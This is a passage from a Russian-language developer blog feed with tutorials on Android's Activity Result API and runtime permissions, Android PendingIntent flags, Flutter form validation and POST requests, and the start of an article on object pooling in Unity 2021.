val activityLauncher = registerForActivityResult(MySecondActivityContract()) { result ->   // используем result}

Регистрация контракта не запускает новую Activity, а лишь возвращает специальный объект ActivityResultLauncher, который нам понадобится далее.

Шаг 3. Запуск контракта

Для запуска Activity остаётся вызвать launch() на объекте ActivityResultLauncher, который мы получили на предыдущем этапе.

vButton.setOnClickListener {   activityLauncher.launch("What is the answer?")}

Важно!

Отметим несколько неочевидных моментов, которые необходимо учитывать:

  • Регистрировать контракты можно в любой момент жизненного цикла активности или фрагмента, но вот запустить его до перехода в состояние CREATED нельзя. Общепринятый подход регистрация контрактов как полей класса.

  • Не рекомендуется вызывать registerForActivityResult() внутри операторов if и when. Дело в том, что во время ожидания результата процесс приложения может быть уничтожен системой (например, при открытии камеры, которая требовательна к оперативной памяти). И если при восстановлении процесса мы не зарегистрируем контракт заново, результат будет утерян.

  • Если запустить неявный интент, а операционная система не сможет найти подходящую Activity, выбрасывается исключение ActivityNotFoundException: No Activity found to handle Intent. Чтобы избежать такой ситуации, необходимо перед вызовом launch() или в методе getSynchronousResult() выполнить проверку resolveActivity() c помощью PackageManager.

Работа с runtime permissions

Другим полезным применением Activity Result API является запрос разрешений. Теперь вместо вызовов checkSelfPermission(), requestPermissions() и onRequestPermissionsResult(), стало доступно лаконичное и удобное решение контракты RequestPermission и RequestMultiplePermissions.

Первый служит для запроса одного разрешения, а второй сразу нескольких. В колбеке RequestPermission возвращает true, если доступ получен, и false в противном случае. RequestMultiplePermissions вернёт Map, где ключ это название запрошенного разрешения, а значение результат запроса.

В реальной жизни запрос разрешений выглядит несколько сложнее. В гайдлайнах Google мы видим следующую диаграмму:

Зачастую разработчики забывают о следующих нюансах при работе с runtime permissions:

  • Если пользователь ранее уже отклонял наш запрос, рекомендуется дополнительно объяснить, зачем приложению понадобилось данное разрешение (пункт 5a)

  • При отклонении запроса на разрешение (пункт 8b), стоит не только ограничить функциональность приложения, но и учесть случай, если пользователь поставил галочку Don't ask again

Обнаружить эти граничные ситуации можно при помощи вызова метода shouldShowRequestPermissionRationale(). Если он возвращает true перед запросом разрешения, то стоит рассказать пользователю, как приложение будет использовать разрешение. Если разрешение не выдано и shouldShowRequestPermissionRationale() возвращает false была выбрана опция Don't ask again, тогда стоит попросить пользователя зайти в настройки и предоставить разрешение вручную.

Реализуем запрос на доступ к камере согласно рассмотренной схеме:

class PermissionsActivity : AppCompatActivity(R.layout.a_main) {   val singlePermission = registerForActivityResult(RequestPermission()) { granted ->       when {           granted -> {               // доступ к камере разрешен, открываем камеру           }           !shouldShowRequestPermissionRationale(Manifest.permission.CAMERA) -> {               // доступ к камере запрещен, пользователь поставил галочку Don't ask again.           }           else -> {               // доступ к камере запрещен, пользователь отклонил запрос           }       }   }   override fun onCreate(savedInstanceState: Bundle?) {       super.onCreate(savedInstanceState)       vButtonPermission.setOnClickListener {           if (shouldShowRequestPermissionRationale(Manifest.permission.CAMERA)) {               // доступ к камере запрещен, нужно объяснить зачем нам требуется разрешение           } else {               singlePermission.launch(Manifest.permission.CAMERA)           }       }   }}

Подводим итоги

Применим знания о новом API на практике и перепишем с их помощью экран из первого примера. В результате мы получим довольно компактный, легко читаемый и масштабируемый код:

class NewActivity : AppCompatActivity(R.layout.a_main) {   val permission = registerForActivityResult(RequestPermission()) { granted ->       when {           granted -> {               camera.launch() // доступ к камере разрешен, открываем камеру           }           !shouldShowRequestPermissionRationale(Manifest.permission.CAMERA) -> {               // доступ к камере запрещен, пользователь поставил галочку Don't ask again.           }           else -> {               // доступ к камере запрещен           }       }   }   val camera = registerForActivityResult(TakePicturePreview()) { bitmap ->       // используем bitmap   }   val custom = registerForActivityResult(MySecondActivityContract()) { result ->       // используем result   }   override fun onCreate(savedInstanceState: Bundle?) {       super.onCreate(savedInstanceState)       vButtonCamera.setOnClickListener {           if (shouldShowRequestPermissionRationale(Manifest.permission.CAMERA)) {               // объясняем пользователю, почему нам необходимо данное разрешение           } else {               permission.launch(Manifest.permission.CAMERA)           }       }       vButtonSecondActivity.setOnClickListener {           custom.launch("What is the answer?")       }   }}

Мы увидели недостатки обмена данными через onActivityResult(), узнали о преимуществах Activity Result API и научились использовать его на практике.

Новый API полностью стабилен, в то время как привычные onRequestPermissionsResult(), onActivityResult() и startActivityForResult() стали Deprecated. Самое время вносить изменения в свои проекты!

Демо-приложение с различными примерами использования Activty Result API, в том числе работу с runtime permissions, можно найти в моем Github репозитории.

Подробнее..

Перевод Всё о PendingIntents

01.06.2021 18:16:36 | Автор: admin

PendingIntent являются важной частью фреймворка Android, но большинство доступных ресурсов для разработчиков сосредоточены на деталях их имплементации ссылка на токен, поддерживаемый системой а не на их использовании.

Поскольку Android 12 содержит важные нововведения в отношении отложенных намерений, включая определение того, является ли PendingIntent изменяемым или неизменяемым, я подумал, что будет полезно рассказать о том, что делают отложенные намерения, как система использует их, и почему вам иногда может понадобиться изменяемый PendingIntent.

Что такое PendingIntent?

Объект PendingIntent оборачивает функциональность объекта Intent, позволяя вашему приложению указать, что другое приложение должно сделать от вашего имени в ответ на будущее действие. Например, обернутое намерение может быть вызвано при срабатывании будильника или когда пользователь нажимает на уведомление.

Ключевым аспектом отложенных намерений является то, что другое приложение вызывает намерение от имени вашего приложения. То есть при вызове намерения другое приложение использует идентификатор вашего приложения.

Чтобы PendingIntent имел такое же поведение, как и обычный Intent, система вызывает PendingIntent с тем же идентификатором, с которым он был создан. В большинстве ситуаций, таких как тревога и уведомления, это идентификатор самого приложения.

Давайте рассмотрим различные способы, с помощью которых наши приложения могут работать с PendingIntent, и почему их нужно использовать именно таким образом.

Распространенный случай

Самый распространенный и наиболее простой способ использования PendingIntent - это действие, связанное с уведомлением:

val intent = Intent(applicationContext, MainActivity::class.java).apply {    action = NOTIFICATION_ACTION    data = deepLink}val pendingIntent = PendingIntent.getActivity(    applicationContext,    NOTIFICATION_REQUEST_CODE,    intent,    PendingIntent.FLAG_IMMUTABLE)val notification = NotificationCompat.Builder(        applicationContext,        NOTIFICATION_CHANNEL    ).apply {        // ...        setContentIntent(pendingIntent)        // ...    }.build()notificationManager.notify(    NOTIFICATION_TAG,    NOTIFICATION_ID,    notification)

Мы видим, что создаем стандартный тип Intent, который будет открывать наше приложение, а затем просто оборачиваем его в PendingIntent, прежде чем добавить его в наше уведомление.

В данном случае, поскольку у нас есть точное действие, которое необходимо выполнить, то создаем PendingIntent, не подлежащий изменению приложением, куда мы его передаем, используя флаг FLAG_IMMUTABLE.

После вызова NotificationManagerCompat.notify() все готово. Система отобразит уведомление и, когда пользователь нажмет на него, вызовет PendingIntent.send() для нашего PendingIntent, запуская наше приложение.

Обновление неизменяемого PendingIntent

Вы можете подумать, что если приложению нужно обновить PendingIntent, то он должен быть изменяемым, но это не всегда так! Приложение, создающее PendingIntent, всегда может обновить его, передав флаг FLAG_UPDATE_CURRENT:

val updatedIntent = Intent(applicationContext, MainActivity::class.java).apply {   action = NOTIFICATION_ACTION   data = differentDeepLink}// Because we're passing `FLAG_UPDATE_CURRENT`, this updates// the existing PendingIntent with the changes we made above.val updatedPendingIntent = PendingIntent.getActivity(   applicationContext,   NOTIFICATION_REQUEST_CODE,   updatedIntent,   PendingIntent.FLAG_IMMUTABLE or PendingIntent.FLAG_UPDATE_CURRENT)// The PendingIntent has been updated.

Чуть позже поговорим о том, почему может возникнуть желание сделать PendingIntent изменяемым.

Технология Inter-app APIs

Распространенный случай полезен не только для взаимодействия с системой. Хотя для получения обратного вызова после выполнения действия чаще всего используются startActivityForResult() и onActivityResult(), это не единственный способ.

Представьте себе приложение для онлайн-заказа, которое предоставляет API для интеграции с ним приложений. Оно может принять PendingIntent как extra к своему собственному Intent, которое используется для запуска процесса заказа еды. Приложение заказа запускает PendingIntent только после того, как заказ будет доставлен.

В данном случае приложение заказа использует PendingIntent, а не отправляет результат действия, потому что доставка заказа может занять значительное время, и нет смысла заставлять пользователя ждать, пока это происходит.

Мы создадим неизменяемый PendingIntent, потому что не хотим, чтобы приложение онлайн-заказа меняло что-либо в нашем Intent. Необходимо, чтобы его отправили в том виде, в каком он есть, когда заказ будет доставлен.

Изменяемые PendingIntents

Что если мы будем разработчиками приложения для заказа и захотим добавить функцию, позволяющую пользователю набрать сообщение, отправляемое обратно в вызывающее приложение? Возможно, чтобы вызывающее приложение могло показать что-то вроде: "Сейчас время PIZZA!".

Ответом на этот вопрос является использование изменяемого PendingIntent.

Поскольку PendingIntent это, по сути, обертка вокруг Intent, можно подумать, что существует метод PendingIntent.getIntent(), который можно вызвать для получения и обновления обернутого Intent, но это не так. Так как же это работает?

Помимо метода send() в PendingIntent, который не принимает никаких параметров, есть несколько других версий, включая эту, которая принимает Intent:

fun PendingIntent.send(    context: Context!,     code: Int,     intent: Intent?)

Этот параметр intent не заменяет Intent, содержащийся в PendingIntent, а скорее используется для заполнения параметров из обернутого Intent, которые не были предоставлены при создании PendingIntent.

Давайте рассмотрим пример.

val orderDeliveredIntent = Intent(applicationContext, OrderDeliveredActivity::class.java).apply {   action = ACTION_ORDER_DELIVERED}val mutablePendingIntent = PendingIntent.getActivity(   applicationContext,   NOTIFICATION_REQUEST_CODE,   orderDeliveredIntent,   PendingIntent.FLAG_MUTABLE)

Этот PendingIntent может быть передан нашему приложению онлайн-заказа. После завершения доставки приложение заказа может принять сообщение customerMessage и отправить его обратно в качестве дополнительного намерения, как это сделано ниже:

val intentWithExtrasToFill = Intent().apply {   putExtra(EXTRA_CUSTOMER_MESSAGE, customerMessage)}mutablePendingIntent.send(   applicationContext,   PENDING_INTENT_CODE,   intentWithExtrasToFill)

Тогда вызывающее приложение увидит дополнительное EXTRA_CUSTOMER_MESSAGE в своем Intent и сможет отобразить сообщение.

Важные соображения при объявлении изменяемости отложенного намерения (pending intent)

  • При создании изменяемого PendingIntent ВСЕГДА явно задавайте компонент, который будет запущен в этом Intent. Это можно реализовать так, как мы сделали выше, явно задав точный класс, который будет его получать, либо с помощью вызова Intent.setComponent().

  • В вашем приложении может быть такой случай, когда проще вызвать Intent.setPackage(). Будьте очень осторожны с возможностью сопоставления нескольких компонентов, если вы сделаете это. Лучше указать конкретный компонент для получения Intent, если это вообще возможно.

  • Если вы попытаетесь переопределить значения в PendingIntent, который был создан с FLAG_IMMUTABLE, произойдет тихий сбой, и исходный обернутый Intent будет передан без изменений.

Помните, что приложение всегда может обновить свой собственный PendingIntent, даже если они неизменяемы. Единственная причина сделать PendingIntent изменяемым - если другое приложение будет иметь возможность каким-то образом обновить обернутый Intent.

Подробности о флагах

Мы немного рассказали о нескольких флагах, которые можно использовать при создании PendingIntent, но есть и другие, заслуживающие внимания.

FLAG_IMMUTABLE: Указывает, что Intent внутри PendingIntent не может быть изменен другими приложениями, которые передают Intent в PendingIntent.send(). Приложение всегда может использовать FLAG_UPDATE_CURRENT для изменения своих собственных PendingIntent.

До Android 12 PendingIntent, созданный без этого флага, по умолчанию был изменяемым.

В версиях Android до Android 6 (API 23) PendingIntents всегда изменяемы.

FLAG_MUTABLE: Указывает, что Intent внутри PendingIntent должен позволять приложению обновлять его содержимое путем объединения значений из параметра намерения PendingIntent.send().

Всегда заполняйте ComponentName обернутого Intent любого изменяемого PendingIntent. Невыполнение этого требования может привести к уязвимостям в системе безопасности!

Этот флаг был добавлен в Android 12. До Android 12 любые PendingIntents, созданные без флага FLAG_IMMUTABLE, были неявно изменяемыми.

FLAG_UPDATE_CURRENT: Запрашивает, чтобы система обновила существующий PendingIntent новыми дополнительными данными, а не создавала новый PendingIntent. Если PendingIntent не был зарегистрирован, то регистрируется этот.

FLAG_ONE_SHOT: Позволяет отправить PendingIntent только один раз (через PendingIntent.send()). Это может быть важно при передаче PendingIntent другому приложению, если содержащийся в нем Intent может быть отправлен только один раз. Такое требование обусловлено удобством или необходимостью предотвратить многократное выполнение приложением какого-либо действия.

Использование FLAG_ONE_SHOT предотвращает такие проблемы, как "атаки повторного воспроизведения (replay attacks)".

FLAG_CANCEL_CURRENT: Отменяет текущий PendingIntent, если он уже существует, перед регистрацией нового. Это может быть важно, если определенный PendingIntent был отправлен одному приложению, а вы хотите отправить его другому приложению, потенциально обновляя данные. Используя FLAG_CANCEL_CURRENT, первое приложение больше не сможет вызвать отправку, но второе приложение сможет.

Получение PendingIntents

Иногда система или другие фреймворки предоставляют PendingIntent как ответ на вызов API. Одним из примеров является метод MediaStore.createWriteRequest(), который был добавлен в Android 11.

static fun MediaStore.createWriteRequest(    resolver: ContentResolver,     uris: MutableCollection<Uri>): PendingIntent

Резюме

Мы говорили о том, что PendingIntent можно рассматривать как обертку вокруг Intent, которая позволяет системе или другому приложению запустить Intent, созданный одним приложением, в качестве этого приложения, в определенное время в будущем.

Мы также говорили о том, что PendingIntents обычно должен быть неизменяемым и что это не мешает приложению обновлять свои собственные объекты PendingIntent. Это можно сделать, используя флаг FLAG_UPDATE_CURRENT в дополнение к FLAG_IMMUTABLE.

Мы также говорили о мерах предосторожности, которые необходимо предпринять - заполнить ComponentName обернутого Intent - если PendingIntent должен быть изменяемым.

Наконец, мы говорили о том, что иногда система или фреймворки могут предоставлять PendingIntent нашему приложению, чтобы мы могли решить, как и когда их запускать.

Обновления в PendingIntent были лишь одной из функций в Android 12, направленной на повышение безопасности приложений. Обо всех изменениях в предварительной версии читайте здесь.

Хотите еще больше? Мы призываем вас протестировать свои приложения на новой предварительной версии ОС для разработчиков и поделиться с нами своими впечатлениями!


Перевод материала подготовлен в рамках курса "Android Developer. Basic". Если вам интересно узнать о курсе подробнее, приходите на день открытых дверей онлайн, где преподаватель расскажет о формате и программе обучения.

Подробнее..

Основы Flutter для начинающих (Часть VI)

05.06.2021 14:06:41 | Автор: admin

Когда вы создаете различные формы (например: регистрации или входа) на Flutter, вы не заморачиваетесь с кастомизацией компонентов, потому что вы можете изменить любое поле формы под свой стиль.

Помимо кастомизации, Flutter предоставляет возможность обработки ошибок и валидации полей формы.

И сегодня мы постараемся разобраться с этой темой на небольшом примере.

Ну что ж, погнали!

Наш план
  • Часть 1- введение в разработку, первое приложение, понятие состояния;

  • Часть 2- файл pubspec.yaml и использование flutter в командной строке;

  • Часть 3- BottomNavigationBar и Navigator;

  • Часть 4- MVC. Мы будем использовать именно этот паттерн, как один из самых простых;

  • Часть 5 - http пакет. Создание Repository класса, первые запросы, вывод списка постов;

  • Часть 6 (текущая статья) - работа с формами, текстовые поля и создание поста.

  • Часть 7 - работа с картинками, вывод картинок в виде сетки, получение картинок из сети, добавление своих в приложение;

  • Часть 8 - создание своей темы, добавление кастомных шрифтов и анимации;

  • Часть 9 - немного о тестировании;

Создание формы: добавление поста

Для начала добавим на нашу страницу HomePage кнопку по которой мы будем добавлять новый пост:

@overrideWidget build(BuildContext context) {  return Scaffold(    appBar: AppBar(      title: Text("Post List Page"),    ),    body: _buildContent(),    // в первой части мы уже рассматривали FloatingActionButton    floatingActionButton: FloatingActionButton(      child: Icon(Icons.add),      onPressed: () {      },    ),  );}

Далее создадим новую страницу в файле post_add_page.dart:

import 'package:flutter/material.dart';class PostDetailPage extends StatefulWidget {  @override  _PostDetailPageState createState() => _PostDetailPageState();}class _PostDetailPageState extends State<PostDetailPage> {    // TextEditingController'ы позволят нам получить текст из полей формы  final TextEditingController titleController = TextEditingController();  final TextEditingController contentController = TextEditingController();    // _formKey пригодится нам для валидации  final _formKey = GlobalKey<FormState>();    @override  Widget build(BuildContext context) {    return Scaffold(      appBar: AppBar(        title: Text("Post Add Page"),        actions: [          // пункт меню в AppBar          IconButton(            icon: Icon(Icons.check),            onPressed: () {              // сначала запускаем валидацию формы              if (_formKey.currentState!.validate()) {                // здесь мы будем делать запроc на сервер              }            },          )        ],      ),      body: Padding(        padding: EdgeInsets.all(15),        child: _buildContent(),      ),    );  }  Widget _buildContent() {    // построение формы    return Form(      key: _formKey,      // у нас будет два поля      child: Column(        children: [          // поля для ввода заголовка          TextFormField(            // указываем для поля границу,            // иконку и подсказку (hint)            decoration: InputDecoration(                border: OutlineInputBorder(),                prefixIcon: Icon(Icons.face),                hintText: "Заголовок"            ),            // не забываем указать TextEditingController            controller: titleController,            // параметр validator - функция которая,            // должна возвращать null при успешной проверки            // или строку при неудачной            validator: (value) {              // здесь мы для наглядности добавили 2 проверки              if (value == null || value.isEmpty) {                return "Заголовок пустой";              }              if (value.length < 3) {                return "Заголовок должен быть не короче 3 символов";              }              return null;            },          ),          // небольшой отступ между полями          SizedBox(height: 10),          // Expanded означает, что мы должны          // расширить наше поле на все доступное пространство          Expanded(            child: TextFormField(              // maxLines: null и expands: true               // указаны для расширения поля на все доступное пространство              maxLines: null,              expands: true,              textAlignVertical: TextAlignVertical.top,              decoration: InputDecoration(                  border: OutlineInputBorder(),                  hintText: "Содержание",              ),              // не забываем указать TextEditingController              controller: contentController,              // также добавляем проверку поля              validator: (value) {                if (value == null || value.isEmpty) {                  return "Содержание пустое";                }                return null;              },            ),          )        ],      ),    );  }}

Не забудьте добавить переход на страницу формы:

floatingActionButton: FloatingActionButton(   child: Icon(Icons.add),   onPressed: () {      Navigator.push(context, MaterialPageRoute(         builder: (context) => PostDetailPage()      ));   },),

Запускаем и нажимаем на кнопку:

Вуаля! Форма работает.

Небольшая заметка

У новичков могут возникнуть проблемы даже с готовым кодом. И это не издевательство, такое бывает.

Поэтому для 100%-ной работы коды постарайтесь использовать схожие версии Flutter и Dart с моими:

  • Flutter 2.0.6

  • Dart SDK version: 2.12.3

Также в комментах я обратил внимание на null safety. Это очень важно, я позабыл об этом и это мой косяк.

Я уже добавил в приложение поддержку null safety. Вы наверно обратили внимание на восклицательный знак:

// ! указывает на то, что мы 100% уверены// что currentState не содержит null значение_formKey.currentState!.validate()

О null safety и о её поддержи в Dart можно сделать целый цикл статей, а возможно и написать целую книгу.

Мы задерживаться не будем и переходим к созданию POST запроса.

POST запрос для добавления данных на сервер

POST, как уже было отмечено, является одним из HTTP методов и служит для добавления новых данных на сервер.

Для начала добавим модель для нашего результата и изменим немного класс Post:

class Post {  // все поля являются private  // это сделано для инкапсуляции данных  final int? _userId;  final int? _id;  final String? _title;  final String? _body;  // создаем getters для наших полей  // дабы только мы могли читать их  int? get userId => _userId;  int? get id => _id;  String? get title => _title;  String? get body => _body;  // добавим новый конструктор для поста  Post(this._userId, this._id, this._title, this._body);  // toJson() превращает Post в строку JSON  String toJson() {    return json.encode({      "title": _title,      "content": _body    });  }  // Dart позволяет создавать конструкторы с разными именами  // В данном случае Post.fromJson(json) - это конструктор  // здесь мы принимаем объект поста и получаем его поля  // обратите внимание, что dynamic переменная  // может иметь разные типы: String, int, double и т.д.  Post.fromJson(Map<String, dynamic> json) :    this._userId = json["userId"],    this._id = json["id"],    this._title = json["title"],    this._body = json["body"];}// у нас будут только два состоянияabstract class PostAdd {}// успешное добавлениеclass PostAddSuccess extends PostAdd {}// ошибкаclass PostAddFailure extends PostAdd {}

Затем создадим новый метод в нашем Repository:

// добавление поста на серверFuture<PostAdd> addPost(Post post) async {  final url = Uri.parse("$SERVER/posts");  // делаем POST запрос, в качестве тела  // указываем JSON строку нового поста  final response = await http.post(url, body: post.toJson());  // если пост был успешно добавлен  if (response.statusCode == 201) {    // говорим, что все ок    return PostAddSuccess();  } else {    // иначе ошибка    return PostAddFailure();  }}

Далее добавим немного кода в PostController:

// добавление поста// функция addPost будет принимать callback,// через который мы будет получать результатvoid addPost(Post post, void Function(PostAdd) callback) async {  try {    final result = await repo.addPost(post);    // сервер вернул результат    callback(result);  } catch (error) {    // произошла ошибка    callback(PostAddFailure());  }}

Ну что ж пора нам вернуться к нашему представлению PostAddPage:

class PostDetailPage extends StatefulWidget {  @override  _PostDetailPageState createState() => _PostDetailPageState();}// не забываем поменять на StateMVCclass _PostDetailPageState extends StateMVC {  // _controller может быть null  PostController? _controller;  // получаем PostController  _PostDetailPageState() : super(PostController()) {    _controller = controller as PostController;  }  // TextEditingController'ы позволят нам получить текст из полей формы  final TextEditingController titleController = TextEditingController();  final TextEditingController contentController = TextEditingController();  // _formKey нужен для валидации формы  final _formKey = GlobalKey<FormState>();  @override  Widget build(BuildContext context) {    return Scaffold(      appBar: AppBar(        title: Text("Post Add Page"),        actions: [          // пункт меню в AppBar          IconButton(            icon: Icon(Icons.check),            onPressed: () {              // сначала запускаем валидацию формы              if (_formKey.currentState!.validate()) {                // создаем пост                // получаем текст через TextEditingController'ы                final post = Post(                  -1, -1, titleController.text, contentController.text                );                // добавляем пост                _controller!.addPost(post, (status) {                  if (status is PostAddSuccess) {                    // если все успешно то возвращаемя                    // на предыдущую страницу и возвращаем                    // результат                    Navigator.pop(context, status);                  } else {                    // в противном случае сообщаем об ошибке                    // SnackBar - всплывающее сообщение                    ScaffoldMessenger.of(context).showSnackBar(                      SnackBar(content: Text("Произошла ошибка при добавлении поста"))                    );                  }                });              }            },          )        ],      ),      body: Padding(        padding: EdgeInsets.all(15),        child: _buildContent(),      ),    );  }  Widget _buildContent() {    // построение формы    return Form(      key: _formKey,      // у нас будет два поля      child: Column(        children: [          // поля для ввода заголовка          TextFormField(            // указываем для поля границу,            // иконку и подсказку (hint)            decoration: InputDecoration(                border: OutlineInputBorder(),                prefixIcon: Icon(Icons.face),                hintText: "Заголовок"            ),            // указываем TextEditingController            controller: titleController,            // параметр validator - функция которая,            // должна возвращать null при успешной проверки            // и строку при неудачной            validator: (value) {              // здесь мы для наглядности добавили 2 проверки              if (value == null || value.isEmpty) {                return "Заголовок пустой";              }              if (value.length < 3) {                return "Заголовок должен быть не короче 3 символов";              }              return null;            },          ),          // небольшой отступ между полями          SizedBox(height: 10),          // Expanded означает, что мы должны          // расширить наше поле на все доступное пространство          Expanded(            child: TextFormField(              // maxLines: null и expands: true              // указаны для расширения поля              maxLines: null,              expands: true,              textAlignVertical: TextAlignVertical.top,              decoration: InputDecoration(                  border: OutlineInputBorder(),                  hintText: "Содержание",              ),              // указываем TextEditingController              controller: contentController,              // также добавляем проверку поля              validator: (value) {                if (value == null || value.isEmpty) {                  return "Содержание пустое";                }                return null;              },            ),          )        ],      ),    );  }}

Логика работы следующая:

  1. мы нажаем добавить новый пост

  2. открывается окно с формой, вводим данные

  3. если все ок, то возвращаемся на предыдущую страницу и сообщаем об этом иначе выводим сообщение об ошибке.

Заключительный момент, добавим обработку результата в PostListPage:

floatingActionButton: FloatingActionButton(  child: Icon(Icons.add),  onPressed: () {    // then возвращает объект Future    // на который мы подписываемся и ждем результата    Navigator.push(context, MaterialPageRoute(      builder: (context) => PostDetailPage()    )).then((value) {      if (value is PostAddSuccess) {        // SnackBar - всплывающее сообщение        ScaffoldMessenger.of(context).showSnackBar(         SnackBar(content: Text("Пост был успешно добавлен"))        );      }    });  },),

Теперь тестируем:

К сожалению JSONPlaceholder на самом деле не добавляет пост и поэтому мы не сможем его увидеть среди прочих постов.

Заключение

Я надеюсь, что убедил вас в том, что работа с формами на Flutter очень проста и не требует почти никаких усилий.

Большая часть кода - это создание POST запроса на сервер и обработка ошибок.

Полезные ссылки

Всем хорошего кода)

Подробнее..

Перевод Пулинг объектов в Unity 2021

03.06.2021 18:21:18 | Автор: admin

Разрабатывая игры, вы могли заметить, что создание порядка 100 экземпляров пуль в секунд.

  • A: уменьшить количество пуль до 20

  • B: реализовать свою собственную пулинговую систему

  • C: заплатить 50 долларов за пулинговую систему в Asset Store

  • D: использовать новый Pooling API Unity, представленный в 2021 году

(СМОТРИТЕ ВИДЕО В ОРИГИНАЛЕ СТАТЬИ)

В этой статье мы рассмотрим последний вариант.

Сегодня вы узнаете, как использовать новый Pooling API, представленный в 2021 году.

Начиная с Unity 2021, у вас есть доступ к широкому набору фич для работы с пулами, которые помогут вам разрабатывать высокопроизводительные проекты на Unity.

Готовы узнать о них побольше?

Когда вам нужен пул?

Начнем с самого главного вопроса: когда вам нужен пул?

Я задаю его, потому что пулы не должны быть вашим дежурным решением.

Пул объектов в Unity определенно имеет некоторые важные недостатки, которые приносят больше вреда, чем пользы, поэтому использовать его нужно с умом.

Но мы рассмотрим это позже.

Если вкратце, то вам стоит рассматривать возможность использования пулов, когда:

  • Вы создаете и уничтожаете игровые объекты очень быстро, например пули оружия.

  • Вы часто аллоцируете и высвобождаете объекты, хранящиеся в куче (вместо их повторного использования). Это относится и к коллекциям C#.

Эти операции вызывают много аллокаций, следовательно вы сталкиваетесь с:

  • Избыточным расходом тактов процессора на операций создания и уничтожения (или new/dispose).

  • Преждевременной сборкой мусора, вызывающей фризы, которые ваши игроки не оценят.

  • Фрагментацией памяти, которая затрудняет поиск свободных смежных областей памяти.

Не кажется ли вам, что эти проблемы могут представлять для вас угрозу?

(Если сейчас - нет, то они могут позже)

Но давайте продолжим.

Итак, что же такое это (объектный) пулинг в Unity в конце-то концов?

Теперь, когда вы понимаете, попали ли вы в беду (или все еще в безопасности), позвольте мне быстро объяснить, что такое пулинг.

Пулинг - это метод оптимизации производительности, который заключается в повторном использовании сущностей C# вместо того, чтобы создавать и уничтожать их каждый раз, когда они вам нужны.

Сущность может быть чем угодно: игровым объектом, инстансом префаба, словарем C# и т. д.

Позвольте мне продемонстрировать концепцию пулинга в контекст реального примера.

Допустим, вам нужно завтра утром пойти за продуктами.

Что вы обычно берете с собой, кроме кошелька и ключей?

Ну, можно взять многоразовые сумки. В конце концов, вам нужны какие-то контейнеры, чтобы донести продукты домой.

Итак, вы берете пустые многоразовые сумки, наполняете их продуктами и возвращаетесь домой.

Вернувшись домой, вы опустошаете свои сумки и кладете их обратно в ящик.

Это и есть пул.

Многоразовые сумки лучшая альтернатива, чем покупка (аллокация) пластиковых пакетов и их выбрасывание (высвобождение) каждый раз, когда вы идете за покупками.

Вам нужна сумка?

Хорошо, вы идете к своему пулу сумок (например, ящик на кухне), берете несколько, используете их, вытаскиваете все из них и, наконец, возвращаете их обратно в пул.

Поняли в чем соль?

Вот основные детали юзкейса пулинга:

  • Элементы, для которых вы хотите задействовать пул, например, многоразовые сумки, инстанцированная пуля и т.д. ...

  • Глобальная цель для всех этих элементов, например, перенос продуктов, стрельба пулями и т.д. ...

  • Функции, которые вы выполняете над пулом и его элементами: Take (взять), Return (вернуть), Reset (сбросить).

В случае с шутером вы можете создавать и уничтожать пули каждый раз при выстреле или вы можете заранее создать определенное количество, а затем повторно использовать их следующим образом:

  • Вы создаете тысячу пуль и помещаете их в пул.

  • Каждый раз, когда вы стреляете из своего оружия, вы берете пулю из этого пула.

  • Когда пуля попадает во что-то и исчезает, вы возвращает ее обратно в пул.

Таким образом вы экономите такты процессора, необходимые для создания и уничтожения этих префабов. Кроме того, вы уменьшаете нагрузку на сборщик мусора.

Теперь, прежде чем сразу нырнуть в пулинг, обратите внимание на несколько моментов...

Когда следует отказаться от использования пула?

У техники пулинга есть несколько (потенциальных) проблем:

  1. Ваши элементы могут загрязняться. Поскольку они уже использовались в прошлом, вы могли оставить их в непригодном состоянии, например, пули с небольшими остатками красной краски на них. Это означает, что вам нужно потратить несколько тактов процессора, чтобы очистить свои элементы перед их использованием: операция reset.

  2. Вы резервируете память, которая может вам так и не понадобиться. Если вы создаете пул с тысячами пуль, но все, что ваш игрок хотел сделать, это полюбоваться видами, то вы зря потратили память.

  3. Это усложняет вашу кодовую базу. Вам необходимо управлять жизненным циклом своих пулов. Это не только увеличивает количество тактов процессора, но и увеличивает количество мозговых тактов из-за обработки большей кодовой базы.

Все, что вам нужно сделать, это избегать пулов в тех случаях, когда вы не получите от них никакой выгоды.

Скажем, нет никакой необходимости пулить финального босса. В конце концов, он существует в единственном экземпляре.

Помните: самое главное это частота ваших операций создания и уничтожения.

Если вы делаете их часто, рассматривайте возможность использования пулов. В противном случае даже не думайте об этом.

Позже мы рассмотрим больше проблем с пулами.

Теперь давайте посмотрим на наши доступные варианты для реализации пулов.

Пулы объектов в Unity 2021: ваши варианты

Если вы хотите добавить пул объектов в свой проект Unity, у вас есть три варианта:

  • Создать свою собственную систему

  • Купить стороннюю систему пулинга

  • Импортировать UnityEngine.Pool

Давайте рассмотрим их.

A) Создаем свою собственную систему пулинга

Один из вариантов применить на практике свое мастерство.

Внедрение вашей собственной системы пулинга не выглядит слишком сложным, поскольку вам нужно всего лишь реализовать несколько операций:

  • Создать и удалить пул (Create & dispose)

  • Взять из пула (Take)

  • Вернуться в пул (Return)

  • Операции сброса (Reset)

Но это часто становится гораздо сложнее, когда вы начинаете думать о:

  • Типобезопасности

  • Управление памятью и структурах данных

  • Пользовательской аллокации/высвобождении объектов

  • Потокобезопасности

Это уже больше похоже на головную боль? Чувствую, ваше лицо побледнело...

Предлагаю не изобретать велосипед (если только это не учебное упражнение).

Поскольку это уже решенная проблема, используйте что-то, что работает, чтобы вы могли сосредоточиться на своем проекте.

Сосредоточьтесь на том, чтобы доставить удовольствие своим игрокам. В любом случае они вам за это заплатят. Проверим второй вариант.

B) Сторонние системы пулинга объектов

Здесь вам всего лишь нужно выбирать одного из таких поставщиков, как:

  • The Unity Asset Store

  • Github

  • Друг или член семьи

Давайте рассмотрим несколько примеров:

Pooling Toolkit

13Pixels Pooling

Pure Pool

Pro Pooling

Но прежде чем вы нажмете кнопку покупки прочитайте немного дальше.

Сторонние инструменты могут творить чудеса и обладают множеством фич.

Но у них есть недостатки:

  • Вы полагаетесь на их поддержку в исправлении проблем и обновлении пакетов для более новых версий редактора.

  • Если у вас нет исходного кода, вы не сможете исправить проблемы самостоятельно.

  • Больше фич = сложнее код. Вам потребуется время, чтобы понять и поддерживать их систему.

  • Они могут быть достаточно дорогими (и по деньгам и по времени).

Вы, наверное, все это и так уже знали, но об этом всегда стоит упомянуть.

И в настоящее время осталось еще меньше причин для использования сторонних решений, поскольку Unity втихаря зарелизила новый API для пулинга в Unity 2021.

И это основная тема этой статьи.

C) Новый Pooling API от Unity

Начиная с версии 2021 года, Unity зарелизила несколько механизмов пулинга C#, которые помогут вам во множестве юзкейсов.

